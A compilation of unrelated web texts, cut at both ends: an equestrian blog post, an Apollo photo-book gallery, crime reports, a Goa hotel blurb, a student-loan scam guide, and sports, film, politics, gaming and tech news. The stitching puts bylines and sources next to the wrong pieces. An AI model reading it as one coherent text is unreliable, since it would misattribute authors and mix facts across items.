at their disposal all the time. Riding outside the ring. I hear every excuse in the book, and I could care less what yours might be, but riding outside the ring is the of the most underutilized tools of becoming a stellar rider, and stellar horse, especially pertaining to the hunter rings. Yep—that “cross-country” term that brings people to firmly shake their heads, quiver in their boots, and refuse to even consider. Yet, those who are keeping an open mind about progressing as a rider and actually do venture out into a field or woods, quite often have better equitation and better instincts in the actual show ring. And it costs absolutely nothing. Your heels automatically go further down—those thousands of dollars you are tossing out the window to hear your instructor/trainer/coach to remind you to put your heels down 10,000 times a year is basically achieved after one month of going outside of the ring, up and down hills, and standing in two-point for a gallop (or brisk trot out, whatever). Your body has reflexes, and when you don’t want to lose your stirrups as the horse you are on is jumping sideways from a bird, guess what? Permanent Heel Down Syndrome. It is a proven science, trust me. Walking a mile back home on your own two feet is not normally an appealing option. Speaking of reflexes, your other body parts sharpen drastically as they learn natural movements of the horse outside of the ring. A horse going around in his natural element is friskier, livelier, more on the defense from predators such as bunny rabbits, and believe me, you start to read his mind at every shudder, shake and start. Once back in the ring, everything will seem so much easier, you will be able to control the spooking before it even happens, and know to turn your horse’s head away from whatever is catching his attention. Position. If you didn’t understand the three types of seats you are supposed to learn before going cross-country, you will understand them by the time you get back. You need the two point for going up a steep incline, you need a half-seat when you cross tricky terrain or a water crossing, and you fully comprehend deep seat when starting down any descent. Want to up the difficulty level? Drop your stirrups. Have you ever been told you look down too much? Another 10K repeat from your trainer is my guess. I’ll give you a hint—looking down is kind of not a viable option for people riding outside the ring. Not only are you looking for every hazard known to man and beast, your life greatly benefits from you keeping a very keen relationship with the horizon. On the horizon could be lurking any potential suspect which might disrupt a perfectly sane outdoor experience. Your eyes will be up and in navigation mode. Permanently. Confidence. This should be self-explanatory, but I can tell you about a hundred thousand stories of riders and horses gaining confidence merely by attempting a trek across a field, through the woods, over a log, and the giddiness that ensued. It has literally changed lives, and soaked up a fairly large portion of my monthly iPhone data with snaps, texts, and Facebook or Instagram tags. Frankly, there is not much more rewarding than someone frantically trying to recap every thrilling moment in their 15-minute escape around the farm on one of their favorite borrowed horses. I don’t now, maybe it is just me, but those moments are priceless. So why don’t Americans go ride outside? Ten million reasons. But what a waste. The ultimate resource in advanced horsemanship and perfect position is completely accessible to thousands of young and old riders alike. No one seems to want to venture outside the gate, experiment with a trail ride, (or even hire trail horses), borrow friends ponies, sign up for an eventing clinic with Jimmy Wofford, or Dom Schramm, yet those same riders want to qualify for a medal final, win a derby, or compete at a league final. It makes no sense. There are thousands of exercises with cavaletti, poles, gymnastics and other tools suggested or sold to riders to try and improve your balance, reflexes, and sense of timing, when all you need is to find a local hunter pace or cross-country course to school, and might cost at the most $20, if that. Your trainer might frown upon your experiments, but I can guess why. Money. Maybe he or she cannot financially benefit from improvements you can make on your own. Whenever someone doesn’t want me to do something I always ask, why not? It usually is about money. Or maybe time. Time. So many horses to be ridden in that busy stable before 5 o’clock, there just isn’t enough time. You have soccer practice to get to. Well, when you or your parent writes that check to the horse show, how much time and money goes into that weekend? Did you win? Did you want to? How much was that check written for? I can see the backlash now, “Oh no, I couldn’t possibly allow my six-figure imported horse to take a step in grass. He might go lame.” He could go lame for any reason, but sure OK, whatever you want to believe. I personally think it is fun to teach an imported horse how to go up and down hills for the first time. Most of them come from the very flat Holland or Belgium or the part of Germany without inclines or turnout, and it is highly entertaining when a young horse experiences one of our hills. One descent and climb at the walk usually leaves them completely winded! It is comical for them to figure out how to navigate hills at the walk, trot, or canter, and then eventually become masters of descent! With the increase in derby classes I thought for sure I would see an increase in our hunter riders jumping cross-country, but instead I have only seen people build crazy spooky courses in an indoor or fenced-in arena where a horse is less likely to show his true colors. So what happens when the real derby asks the right questions? A whole lot of faults? I don’t know actually, maybe this would answer my frustrations with the handy classes, when we are seeing horse after horse spooking at the trot jump. Instead of having a schooling jump, maybe the horses need to just school cross-country before showing at the most prestigious show of the year. Ugh, so many questions, so little opportunity for change. Last year, while in Gulfport over the winter, I saw a couple of riders accessing the hill out by the trailer parking lot, and thought, “How smart!” There is only one hill on the show grounds, but this father/daughter team was taking full advantage of conditioning their horses on that slight incline during their six-week duration in Mississippi. Stumble or trip every once in a while? Probably, but they were out there for a reason, and it probably had to do with the benefits for horse and rider. I would imagine they were able to teach the horses how to overcome the occasional trip or stumble by changing the balance and placing more focus on the hind end rather than the forehand. Genius really, but then again, they were from Maryland, maybe it was just born into them. I know, I know, not everyone has access to the outdoors in an outdoor sport, but there are still loads of people NOT taking advantage of natural terrain even though they can, and that is a real shame for our sport. Not to mention the fun factor is literally being tossed out the window along with all those lesson dollars. #makesnosense. #bringbackfun If you are fortunate enough to be exposed to fox chasing, take full advantage of it, those tools learned last a lifetime. ^^same kid both pics^^ By the way, for fun I used the Google for locating state parks that allowed trail riding? Guess what, every state has one. Hunter/jumper trainer Deloise Noble-Strong runs her business out of her family farm in Upperco, Md. She follows in the footsteps of many generations of horsemen in her family. Deloise has spent time living in Belgium, Holland and Germany and imports, trains and sells many hunter prospects. She also speaks her mind on her personal blog, Deloise In America. -Text & Audio by Jeffrey Kluger—Author of Apollo 13 & Apollo 8 All Photos Apollo VII—XVII/NASA Nobody ever accused the Apollo program of failing to deliver the goods. There were the 842 pounds of moon rocks and the raft of scientific spinoffs and the deep thrills that every one of the 11 missions delivered. And then, perhaps more than anything, there were the pictures. We are equal parts a questing species and a very visual one. We go places so that we can see what is there and we carry our cameras so we can bring home evidence of those sights. That’s especially important when the destination is one that only 24 human beings out of all of the billions who have ever lived have gotten to visit. For that reason, NASA made photography a high priority during the Apollo missions, redesigning cameras that could operate in the punishing environment of space and inventing ultra-thin film that would allow a single roll to contain 200 exposures. Of the thousands of pictures taken, only a comparative few were chosen for the public to see. They were the best of the images, no surprise, and that made sense. But their very perfection sometimes made them seem almost sterile. It was the outtakes—the astronaut in the clumsy pose, the litter left on the lunar surface, the too-bright sun flaring off the lens—that revealed the missions to be the often unglamorous, often improvisational camping trips they were. Now, a team of four European designers have chosen 225 of the least seen—and in some cases least polished—of the Apollo trove and released them in a dazzling book titled “Apollo VII – XVII.” The wonderfully imperfect collection provides an entirely new perspective on the flights we thought we knew. listen Apollo VII was the first test drive of the Apollo spacecraft, limited to Earth orbit, yet it offered glimpses of the more ambitious flights to come. The crews would get nowhere near the moon without the upper stage of the giant Saturn V rocket, which would blast them out of Earth orbit and would carry the lunar module like a kangaroo joey in an onboard compartment. On the way to the moon, the petals of that compartment would open and the lander would be extracted. Apollo VII practiced that maneuver in Earth orbit, with no LEM aboard. The close-to-home pantomime would play out for real just a few missions later. From the high ground of space, it’s almost impossible to take a bad picture of the jewel box landscape below, but the Apollo VII crew managed that ignoble feat. The odd framing and poor sun control in this shot destined it for the discard pile. But that’s Florida below, with the north end of the state to the left and the south to the right and the embarkation point—Cape Canaveral—visible as a sharp projection along Atlantic coast. The red light on the Gulf of Mexico and the comparatively low angle of the sun create the mood of a tropical sundown—a little bit of beachfront bliss that was, at that moment, entirely out of the astronauts’ reach. The Apollo IX mission test-flew the command module and lunar module together in Earth orbit. Dave Scott’s spacewalk was one of the most-photographed parts of the mission and one of the images—brilliantly lit, artfully composed, showing both spacecraft in a single frame—became a NASA icon. But the truth was closer to the outtake here, with Scott emerging as the spacecraft flow over the nighttime side of the Earth, a solitary man almost lost in shadow, venturing from the safety of the Apollo burrow into the killing cold of space. Spaceflights were often reconnaissance missions and dirty portholes could make that job impossible. Gas trapped between layers of glass or moisture picked up on the way out of the atmosphere could make windows impossible to use, though the fogging or streaking would often clear up as the sun warmed the spacecraft skin. The public saw only the pretty pictures shot through clear windows, but here the Apollo 12 crew took a shot to show NASA the challenges they faced. The cockpit of the LEM was supposed to be a bright and active place, but on Apollo XIII it became a darkened still lifeboat, as the crew shut down nearly all of its power and took refuge in the hope of getting home after an explosion disabled their command module. In the middle of the instrument panel a label that reads “lunar contact” is barely visible. A blue light beneath it was supposed to flash on the moment the lunar module made contact with the lunar surface. On Apollo XIII, it remained forever dark. The Apollo program was a pencil-and-paper enterprise. The missions were conceived and flown in the era before calculators and touch screens and heads-up displays. Flight plans, which would today be loaded on a tablet, were similarly low-tech—printed on heavy fireproof paper bound in loose-leaf form. There’s nothing spacey or sexy about this shot from Apollo XVII, with one of the astronauts checking the schematics of the command module, which is why NASA saw no need to release it. During all of the lunar flights except the last, crews surveyed the ground below to study future landing sites. Heavily cratered regions like these, photographed by the Apollo XVII crew, dominate the far side of the moon and frame the so-called seas on the near side. They were no-go zones for landings since the ground was so uneven. It was the seas—which are actually great plains that resulted from ancient lava bleeds—that were the first targets. The ancient, desiccated moon that we see from a distance belies a certain fluidity that’s visible up close, as captured by the Apollo 15 crew. Like the volcano fields on the Hawaiian island Hilo, some regions of the moon have preserved the state of the landscape just as it was when the lava that flowed across it hardened. Snaking channels like the one that twists about a third of the way up the image from the bottom of the frame might have been lava riverbeds. Apollo missions never flew during a full moon, since the far side would have been blacked and on the near side, the overhead sun would have eliminated shadows, which, as in this image, can help highlight topography. The lunar module was a whimsically ugly machine. That’s what happens when you can design a vehicle strictly for functionality with no concern for the aerodynamic sleekness that is necessary when you’re flying through the atmosphere. Here, the Apollo XI LEM has separated from the command module and hangs, seemingly upside down (though there is no upside down in space) before the camera of Michael Collins, left alone in the command module. The rods extending from the foot pads are contact probes. When one of them touched the lunar surface, the contact light would flash on in the cockpit, telling the commander to cut the engine. From some angles, the irregularly shaped LEM could achieve a certain doily-like symmetry. Apollo XIV’s Stu Roosa captured this image of the top of the lander as it drifted away from the command module. The dark circle at the center of the roof is the docking port, where the nose of the command module would connect, allowing a tunnel to be opened between the two ships. On the LEM leg at the 2 o’clock position, the ladder that astronauts Al Shepard and Ed Mitchell would later climb down to the lunar surface is visible. Apollo XV almost came to ruin the second it touched down. NASA had strict rules about how sharp an angle was safe for a LEM landing, and a 15-degree slope was the absolute maximum. Any steeper and liftoff could be compromised. The moon’s Hadley-Apennine region was treacherous, however, and the 10-degree incline of the landing spot was the best the crew was able to find. NASA was happy to release images of the Apollo XV LEM photographed from the front, but profile shots were kept under wraps. On the last three landing missions, the country that led the world in the manufacture of cars also sent them to the moon. The lunar rovers never traveled faster than about 11 mph (18 km/h) though in the moon’s 1/6th gravity, that provided what felt like a light, speedy ride. Here, Apollo XVI’s John Young leans seemingly jauntily against his ride, with the overexposed top half of the image creating the overall effect of a casual vacation shot snapped during an off-road trip in the desert southwest—minus the can of beer that really ought to be perched on the fender. The business of planting the American flag on the lunar surface never got old. The larger view was always the better one, of course: American astronauts were emissaries not of a nation, but of a species. But the 205 million members of that species who lived in the United States still thrilled to the image of the stars and stripes. On Apollo XII, it was Al Bean’s job to plant and position the flag—which was stiffened in the airlessness of the moon by a rod stitched into its top edge. Commander Pete Conrad, like generations of vacation photographers, is visible only as a long shadow. The 12 men who walked on the moon had to reckon with a problem no photographers in history ever had before: how to manage sunlight that streams straight to the camera with no intervening atmosphere to soften and color it. Not every attempt was a success, as this shot by Apollo XII’s Pete Conrad shows. But there’s more to the image than the giant sunburst. There’s also a sense of the hard work that the lunar missions required, as Al Bean lugs scientific equipment into the field for placement on the surface. There aren’t a lot of straight lines on the tumbledown surface of the moon—or at least there weren’t until humans arrived. Apollo 17—like Apollos XV and XVI—left tire tracks nearly everywhere they traveled. In the windless, rainless, erosion-free environment, the tracks endure, close to half-a-century on. This image, captured in a haunting black and white that was not at all in keeping with the kinds of images NASA liked to release, captures what a lonely business making those permanent marks could be. It was often hard to tell the difference between the litter and the scientific experiments the Apollo astronauts left on the surface, as this image from Apollo XIV shows. In this case, the shot is of science; the gold, boxy object is the central station of what was known as the Apollo Lunar Surface Experiments Package (ALSEP). The tarp-like circle of silver with the can-shaped object to the left is the seismograph, one of six instruments that made up the ALSEP. The last of the experiment packages left on the surface winked out on Sept. 30, 1977, close to five years after the final lunar landing. The last three Apollo missions visited hilly and even mountainous terrain that the first three didn’t dare try. The Apollo XVI crew visited the Descartes Highlands, where mountainous uplift exposed geology that was not available on the flatter plains. Long shadows and black-and-white film convey a sense of how far-ranging the field expeditions became. After the first of three lunar expeditions, the fender on the right rear wheel of the Apollo XVII lunar rover broke off. “Oh, there goes a fender. Oh shoot!” commander Gene Cernan could be heard exclaiming on the air-to-ground loop. That was a problem because lunar dust is finer than confectioner’s sugar and in the 1/6th gravity of the moon, it got kicked up easily by the rover’s tires, potentially fouling machinery and even the astronauts’ life support equipment. The solution: four lunar maps folded just so and fastened with what Cernan called “good old-fashioned American gray tape.” If there was one sight that could make an Apollo astronaut nervous, it was this. The Earth in this image from Apollo XI looks dauntingly far away and the lunar module—which appears to have been stapled together from sheet metal—seems barely up to the task of making the trip off the surface. In fact it was more than capable, and its lightweight design was one of the thing that made it so flight-worthy. Only the top half of the lander—the silver section, here photographed from behind—would lift off from the moon. The bottom portion—the mostly gold colored struts and legs—would serve as a launch platform and remain behind. The gray-white moon had nothing on the riot of color that is the Earth, and the astronauts felt the pull of the home planet throughout their trip. The closer they came on their return journey, the more the Earth loomed. In a striking image taken by Apollo 17, almost the entirety of Africa is visible, with the southern portion of the continent at the bottom of the frame and the vast expanse of the Sahara Desert at the top. Taking good pictures is never easy. It’s harder when you’re mummified in a spacesuit that includes gloves that eliminate nearly all dexterity. And it’s harder still when you’re doing some of that photographic work while jouncing along in a lunar rover. For that reason, Apollo crews spent a lot of time practicing, as Apollo XVI’s John Young (right) and Charlie Duke did not long before their April 16, 1972 liftoff. The full book Apollo VII – XVII by Simon Phillipson, Joel Meter, Delano Steenmeijer, & Floris Heyne is available now. Purchase it here. Jeff Kluger’s latest book Apollo 8 will be released on May 16. It is available for pre-order here. Correction: The original version of a photo caption accompanying this story misstated how long Apollo 17 tire tracks have endured on the surface of the moon. It is almost half-a-century, not almost half-a-decade. The original version of another photo caption misstated a label on an Apollo 13 instrument panel. It said “lunar contact,” not “contact light.” -A man was horrifically doused with acid outside a cinema after a screening of NWA movie Straight Outta Compton. The 27-year-old was leaving the Cineworld complex in Crawley, West Sussex, in the early hours of Sunday when the sickening attack took place. Police said the incident took place after the movie which centres on hip hop group NWA had ended. It was “nasty and unprovoked,” they added. The victim, from Redhill in Surrey, was rushed to hospital with potential life-changing injuries to his face and head. He was then taken to the Queen Victoria Hospital in nearby East Grinstead, which specialises in treatment for burns, according to the Standard. Police are hunting two suspects, who allegedly squared up to the victim and his 29-year-old pal outside the venue. The suspects are said to be white men in their late 20s or early 30s. One had short dark hair and beard and carried a bag across his shoulder. The other wore a light-coloured hoody and jeans. Both left in a dark coloured Peugeot. "This was an isolated but nevertheless nasty and unprovoked assault,” said Detective Sergeant Laura Diamond, of Crawley CID. “We are keen to speak to anyone who may have seen an altercation either within the cinema or later in the car park outside.” (Stock image of Crawley CineWorld by Joe Pepler/REX) -North Goa Unlike other websites, we stay at every property we review. So ask us anything! Our expert staff will help you find the perfect room. Or ask us anything about it: * Colonial elegance meets tropical languor in this exquisitely restored 350-year-old former Portuguese mansion turned boutique hotel, tucked away in the sleepy, picturesque village of Siolim, in the heart of north Goa. Owner Varun Sood, a Zurich-based businessman, spent years scouting abandoned properties in the state before discovering this then derelict but stately mansion, which earlier belonged to the governer of Macau. Over the next 3 years the property was restored in the Casa de Sobrado-style, modelled on the noble houses of Portugal, using materials and methods as true to the original period as possible. Despite the numerous antiques on display in the rooms and common areas, Siolim House still manages to feel far more like a well-loved home than a museum, with a real lived-in atmosphere and an informal warmth and charm that belies its ‘heritage’ tag. It helps that there are modern pleasures and luxuries too, with a beautiful pool and garden to laze in and some truly fantastic food options on offer, including items from the French patisserie Delicieux, which is run by Varun’s partner Lucie. Siolim House is a truly unique boutique hotel that’s a real joy to stay in, brought alive by the energy and passion of its owner, in a stunning location that manages to remain sedate while still being close to all the best attractions of north Goa. -With many student loan borrowers graduating right now, student loan companies are taking notice. With most Federal and private student loans, borrowers get a six month grace period before their first payment is due. It's during this time that scammers try to take advantage of unsuspecting student loan borrowers, and borrowers need to know what to expect. Take note of these top student loan scams, and how you can protect yourself so you aren't victimized. Student Loan Consolidation Scams The most common student loan scam that has been hitting recent graduates is the student loan consolidation scam. This is a popular scam because many graduates have several student loans, and it sounds appealing to have them consolidated into one single loan and payment. Some scammers even tell you that you can lower your payments. The student loan consolidation scam typically involves a company offering to consolidate your student loans for a fee (a processing fee, administrative fee, or consolidation fee). In exchange for paying the fee, the company will consolidate your loans. This is a scam for three reasons: 1. Federal student loans can only be consolidated through the Federal Direct Consolidation Program. You can do this yourself in about 20 minutes of your time. The consolidation company scam involves you paying a fee for something you could do for free. 2. The consolidation company may move you into a private student loan that is worse for you than your original loans. 3. The consolidation company does nothing and takes your money. If you want to consolidate your student loans, make sure you follow the correct process for consolidating your student loans. Advanced Fee Scams Advanced fee scams are another student loan scam victimizing borrowers across the country. This scam involves a company offering to lower the interest rate on your student loan in exchange for a fee up front. They will typically ask for the fee in exchange for them negotiating on your behalf with your student loan servicer. To get you to sign up, they will typically highlight other clients that they were able to do this successfully with, and show you how much you could possibly save. This is a scam because real lenders don't charge any fees up front. Instead, legitimate lenders will take a fee at closing of the loan, typically from the loan amount so you actually pay nothing out of pocket. If you are contacted by a company asking for a fee up front, avoid them - it is a scam. Student Loan Elimination Scams Finally, there are companies that are convincing student loan borrowers that they can help you eliminate your student loan debt. This is a complete scam, that is usually a sub-segment of the advanced fee scam. These companies will typically ask for money up front to help negotiate the settlement of your student loans (similar to what you see with credit card debt relief companies). The trouble with these companies is that they will always fail you - making them a scam. Since student loans typically can't be discharged under any circumstance, lenders have no incentive to negotiate with these companies, and in turn, you get scammed because you are out the fees you paid. Your best recourse is dealing directly with the lender yourself, and not a third-party company. How To Protect Yourself From Student Loan Scams It's important to remember that scammers prey on you when you're most vulnerable - likely buried in debt or simply uninformed. That's how they take advantage of you. However, there are some simple tricks that you can use to protect yourself. First, never pay for anything up front. Real lenders and student loan companies take a percentage when everything is complete, and you don't pay out of pocket. Second, simply call your lender if you have a problem. Your student loan servicing company has a lot of different ways to help you, and many of them only take a short phone call and a little paperwork to get done. You can usually get different repayment plans, forbearance, deferment, and more. So, before you go to another company, go with your current student loan lender. Third, never sign any paperwork giving a third party company "Power of Attorney" or legal authority to negotiate on your behalf. These companies sometimes attempt to take control of your loans, and then hold you hostage if you don't pay. Don't let anyone take away your financial power to deal with your student loan debt. You can deal with any student loan problem yourself with just a phone call and some paperwork. -"Instructions Not Included," a Spanish-language film with English subtitles, generated $10 million in ticket sales over the four-day Labor Day weekend, a record for a Spanish film in the United States and a sign of the potential the Hispanic market represents for Hollywood. The film, which stars 52-year-old Mexican TV star Eugenio Derbez as an Acapulco playboy forced to raise a baby girl left on his doorstep, ranked fifth among films in U.S. theaters, despite opening in scant 347 theaters, according to Hollywood.com. As a result, it generated average ticket sales of $28,818 per screen, more than four times the average of "Lee Daniels' The Butler," the weekend's top film. (Read more: Hollywood's summer rebound, revenue up 10%) "No one saw this coming," said Paul Dergarabedian, president of the box office division of Hollywood.com. "A cute family-oriented concept with a terrific marketing campaign." The movie is distributed by Pantelion, a joint venture of Hollywood studio Lionsgate Entertainment and Mexican media giant Televisa that intends to tap the Hispanic American moviegoing audience that last year bought 10.9 million tickets or 26 percent of all tickets sold, according to the industry group Motion Picture Association of America. "Hispanics were the heaviest moviegoers, as they represent 18 percent of the moviegoing population but accounted for 25 percent of all movies seen," said media research company Nielsen in a separate study. "Hispanics were also the only demographic group that went to more movies in 2012 than in the prior year—9.5 movies on average compared with 8.5 in 2011." To tap that market for "Instructions Not Included," Pantelion put ads on Univision, Telemundo and other Spanish-language channels as well as social media sites like Fandango, Facebook and Youtube that are heavily used by the Hispanic population. -There are not many games out there that can boast to be as realistic and hard-hitting as SWAT 4 . But if you're looking for an experience that's one step closer to the real thing, then chances are that the Elite Force Mod is the way to go. Incidentally, the DRM-free version of SWAT 4 that just debuted on GOG.com is fully supported by this mod, so don't hesitate to take it for a spin!includes tons of bugfixes, gameplay tweaks, and strategic additions for the tactical enthusiast who doesn't mind the extra challenge, if it means all of their de-briefing praise and reprimands will feel truly earned. Some of the most noticeable changes made by modderinclude:- Additional equipment options- A greater variety in the suspects' and hostages' behavior- A brand-new Traps mechanic- Harsher penalties for your less-restrained actions- More realistic equipment that requires careful use- A secondary objective that lets you collect drug evidence on the scene- A unified campaign that includes all the main game's missions plus the ones from The Stetchkov Syndicate expansionThis is far from a finished project, however, and plans for the immediate future include an extra Mission taking place in a restaurant, as well as gameplay mechanics that will force you to think harder about your mission loadout and will change how body armor works. Keep an eye on its comprehensive Mod DB page to learn about all the exciting developments.So, are there any other SWAT 4 mods you guys would recommend? Feel free to let the rest of our precinct know! -As of Thursday, the Pittsburgh Steelers needed to clear more than $8 million in cap space in order to comply with the salary cap. Part of that process apparently was to reduce the eight-figure franchise-tag number for linebacker LaMarr Woodley by giving him a long-term deal. Woodley has announced via Twitter and Facebook (but apparently not “MyFace”) that he will retire in Pittsburgh and that he’s a Steeler “for life.” He disclosed no details of the deal. Quarterback Ben Roethlisberger has said that he’s willing to restructure his contract to help create cap space, a process that can be done without reducing compensation. UPDATE: Per a source with knowledge of the situation, it’s a six-year, $61.5 million deal. He’ll make $18.1 million in 2011 and $27 million over two years, making him the second highest-paid Steeler of all time, behind only Roethlisberger. Adam Schefter of ESPN reports that the move created $3.5 million in cap space, which means that they still need to cut more than $4.5 million by 4:00 p.m. ET today. -When President-elect Donald Trump announced that he would name retired Lt. Gen. Michael Flynn as his national security adviser, one group was especially happy. The anti-Muslim group ACT for America sent an email to its supporters saying that they were “truly elated” by the pick, noting that Flynn still serves on the group’s board of advisers, which he seems to have joined this summer. Along with his troubling record of anti-Muslim rhetoric, Flynn’s association with ACT for America indicates the kind of ideas that he’ll be funneling to Trump. We summarized the mission of ACT and its president, Brigitte Gabriel, in a 2014 report: The staple of Gabriel’s activism is conflating radical Islam with the Islam practiced by millions across the globe. In a 2007 speech, Gabriel argued that Muslims should not be allowed to serve in public office because a “practicing Muslim, who believes in the teachings of the Koran, cannot be a loyal citizen to the United States of America.” Gabriel claims that the U.S. government has already been “infiltrated on all levels by radicals who wish to harm America.” She has also warned that Muslim Students’ Associations are waging “a stealth jihad against America through the indoctrination of our youth on college campuses.” She alleges that Mexican drug cartels are working with Islamic terrorists, citing as evidence that beheadings are “strictfully [sic] an Islamic signature.” Gabriel has succeeded in building out a large grassroots organization, which she claims has 875 chapters and 279,000 members. She has done so with support from allies on the Christian Right, exemplified by her hiring of a former Christian Coalition official to build out her field operation. Gabriel and her group came to fame by pushing so-called “Sharia law bans” in conservative states – measures that hype a nonexistent problem (American courts adopting Islamic law) in order to push anti-Muslim sentiment and fear. In recent years, ACT has moved into the textbook wars, encouraging its members to launch challenges against history and social studies classes that the group deems insufficiently critical of Islam. In 2010, Gabriel set the stage for this effort by warning that public schools were secretly converting children to Islam and preparing them to turn against their country: “What they’re doing is literally brainwashing our students to prepare them to turn against our own soldiers and our own military and government by basically feeding them the talking points of al-Qaeda.” Gabriel was an enthusiastic backer of Trump in his presidential campaign, warning that his election was necessary to save western civilization. When Trump picked a fight with Khizr and Ghazala Khan, the parents of a slain Muslim-American soldier, Gabriel was there to back him up, claiming that the “liar” Khizr Khan couldn’t be both a devout Muslim and a Constitution-observing American. At an ACT for America conference in Washington, D.C., this summer, Gabriel praised Trump’s proposals to radically restrict the immigration of Muslims to the U.S., claiming that “20 percent of Muslims are radicals.” Like Trump, Gabriel has hinted at conspiracy theories that President Obama is secretly Muslim or sympathetic to radical Islam, saying last year that he grew up “praying just like Osama bin Laden prayed.” ACT also seems to share Trump’s attitude on First Amendment freedoms for Muslims: A few years ago, the group tried to get UCLA to ban a campus chapter of the Muslim Students Association. -Jürgen Klopp has insisted a much-improved Liverpool side will take to the field for Thursday's Europa League semi-final against Villarreal, as the Reds aim to bounce back from a 3-1 defeat at Swansea City. The manager elected to make eight changes at the Liberty Stadium on Sunday, with several members of his regular team given a rest after an energy-sapping first-leg outing in Spain. The Reds were subsequently beaten by the Swans but, while the German acknowledged the manner of defeat was self-inflicted, he vowed his team will be a different prospect next time out. “We have to accept it [the result] because our performance wasn’t good enough,” Klopp told Liverpoolfc.com. “I’m especially a little bit disappointed because if we had played our normal game for 90 minutes we could have won the game, but we didn’t play a normal game and that was the problem. “We got it back to 2-1 but then we conceded again and the goals were too simple, too easy for Swansea. I’m not looking for an excuse and I think we could have played better but we didn’t. “We played like we played and I saw it for the whole 90 minutes and there was not a lot I enjoyed, to be honest. We have to think about it and we have to recover, which is very important, and we will play much, much better than we did on Sunday. “We have to accept the result, which is what we do, and then we work and we will be better on Thursday.” -CHICAGO (STMW) — Police are questioning a “person of interest” in connection with an East Garfield Park shooting that critically wounded a woman early Tuesday. The 27-year-old victim was shot in the head at 1:53 a.m. in the 300 block of South Mozart Street, police said. She was taken to John H. Stroger Jr. Hospital of Cook County in critical condition. Police are questioning a 31-year-old man in relation to the shooting, News Affairs Officer John Mirabelli said. The woman did not appear to be the intended target. The shooter was in a fight with his cousin and fired shots, but missed his intended target and hit the woman instead, Mirabelli said. Area North detectives are investigating. (Source: Sun-Times Media Wire © Chicago Sun-Times 2013. All Rights Reserved. This material may not be published, broadcast, rewritten, or redistributed.) -Bob Dylan 12/9/79, Tucson, AZ Download: FLAC/MP3 LB-7927 (70min+61min) from lk 79 series CD1 1-2 If I’ve Got My Ticket, Lord 3 It’s Gonna Rain 4 Do Lord, Remember Me 5 Look Up And Live By Faith 6 Oh Freedom 7 This Train 8 Gotta Serve Somebody 9 I Believe In You 10 When You Gonna Wake Up? 11 When He Returns 12 Man Gave Names To All The Animals 13 Precious Angel 14 Slow Train CD2 1 Covenant Woman 2 put your hand in the hand of the man from galilee 3 Gonna Change My Way Of Thinking 4 Do Right To Me, Baby (Do Unto Others) 5 Solid Rock 6 Saving Grace 7 Saved 8 What Can I Do For You? 9 In The Garden 10 Blessed Is The Name 11 Pressing On bittorrent download 08/09; in spectral view it looks like noise redcution may have been used; in comparison to LB-4128 this has less hiss; (did not listen to all of this) drop/discontinuity pop end of d1t1 -Now playing: Watch this: Barnes & Noble adds Google Play to its tablets Bowing to market pressures and customer demand for access to the full breadth of Android apps, Barnes & Noble has made the bold move of adding the Google Play store to its two latest tablets, the Nook HD and Nook HD+ . The free software update, which also includes the Chrome Web browser, doesn't turn the company's tablets into true "open" Android devices, but it does make them much more open than they were. It will be available today to download from bn.com and will be rolled out to devices in the coming days via an over-the-air Wi-Fi update. Despite positive reviews for its tablets, in recent months Barnes & Noble has encountered fierce headwinds as Apple, Amazon, and Google released well-regarded tablets of their own in advance of the 2012 holiday selling season. From a hardware and price standpoint, not much separates the products, but Barnes & Noble's app offerings have lagged behind those of the competition, even as it worked hard to expand its app store. Such a drawback can give consumers a reason to pause before buying. Sarah Tew/CNET I got an early preview of the software update on a Nook HD+ and what's a little bit surprising is that Barnes & Noble hasn't held anything back from the Google Play store -- it's as you would expect it to appear on any open Android device, complete with apps, music, movies, games, and yes, even e-books. Not often is it that you see a company place a direct competitor on its device after investing so much in its own store. But that's what Barnes & Noble has done, giving customers the option of buying apps, books, and movies from the Nook Store or the Google Play store a few swipes away. Sarah Tew/CNET If you're wondering whether you can add the Kindle app to the Nook, the answer is yes. Kobo, too. But more importantly, Nook owners can also grab the HBO Go app that has been missing from the Nook Store. Or any number of games and apps that also aren't there. Barnes & Noble reps said that the Nook Store would continue to coexist side-by-side with the Google Play store and users will be able to import their bookmarks from the Nook's old browser to the new Chrome browser. With the Nook HD and HD+ you can also create separate profiles for different users, and parents will have the option of giving their kids access to the Google Play store -- or not. To distinguish apps that you've bought in the Nook Store, a small "n" will appear as part of its icon in the navigational carousel at the top of the screen. Content bought in the Google Play store, such as movies, music, and e-books, will be accessible through Google's "players," not Barnes & Noble's. Whether this best-of-both-worlds strategy will pay dividends isn't clear at this point, but it does seem apparent that Barnes & Noble's walled-garden approach wasn't working. With the changes, the company is seeking more parity with Amazon, which has created a competitive advantage with its free video streaming and Kindle Lending Library e-book offerings for Prime members. Amazon has its own fairly expansive app store (Appstore for Android), though it doesn't offer the Google Play store on its Kindle Fire HD and Kindle Fire HD 8.9 . Meanwhile, Google's Nexus 7 and Nexus 10 appeal to users who are looking for completely open Android tablets. The Nook HD and Nook HD+ offer an expansion slot of additional memory; the aforementioned competing products and Apple's iPads don't. We'll be updating our reviews of the Nook HD and Nook HD+ in the coming days. In the meantime, let us know how much of a game changer the addition of Google Play will -- or won't -- be for Barnes & Noble's tablet line. Editors' note: This Google Play store software update is only for Barnes & Noble's latest tablets, not earlier models. -On Saturday night in Miami, a naked “zombie-like” man attacked another man, biting off parts of his face. The attack was halted only when police shot and killed the attacker, identified as 31-year old Rudy Eugene. What would make someone attack another man like an animal? Armando Aguilar, president of the Miami Fraternal Order of Police, suspects that the attacker was under the influence of drugs known as "bath salts." These aren’t the same bath salts to make your tub water smell nice. “Bath salts” is just a fake name, but users know it’s not really for the bath. Dr. Nora Volkow, director of the National Institute on Drug Abuse described bath salts as an "emerging and dangerous product" in February 2011, urging parents, teachers and the public to be aware of the potential dangers associated with these drugs, which had already been linked to numerous visits to the E.R. and calls to poison control centers in the U.S. In October 2011, these "bath salts" and its related products were put on schedule 1 of the Controlled Substances Act, which means that the drug has no legitimate use or safety in the U.S. and is highly addictive. Bath salts contain amphetamine-like chemicals such as methylenedioxypyrovalerone (MDPV), mephedrone, and pyrovalerone. They’re referred to as a “designer drug of the phenethylamine class” by the Drug Enforcement Administration. Other drugs in this class include amphetamines, mescaline, and ephedrine. MDPV comes in a powdered form that is inhaled, swallowed or shot into a vein. Bath Salts are sold as "cocaine substitutes" or "synthetic LSD". When MDPV gets to the brain, the effects include producing feelings of empathy, stimulation, alertness, euphoria, sensory awareness and hallucinations. Other reported effects include rapid heart rate, high blood pressure, and sweating. According to the DEA, MDPV has been reported to cause intense panic attacks, 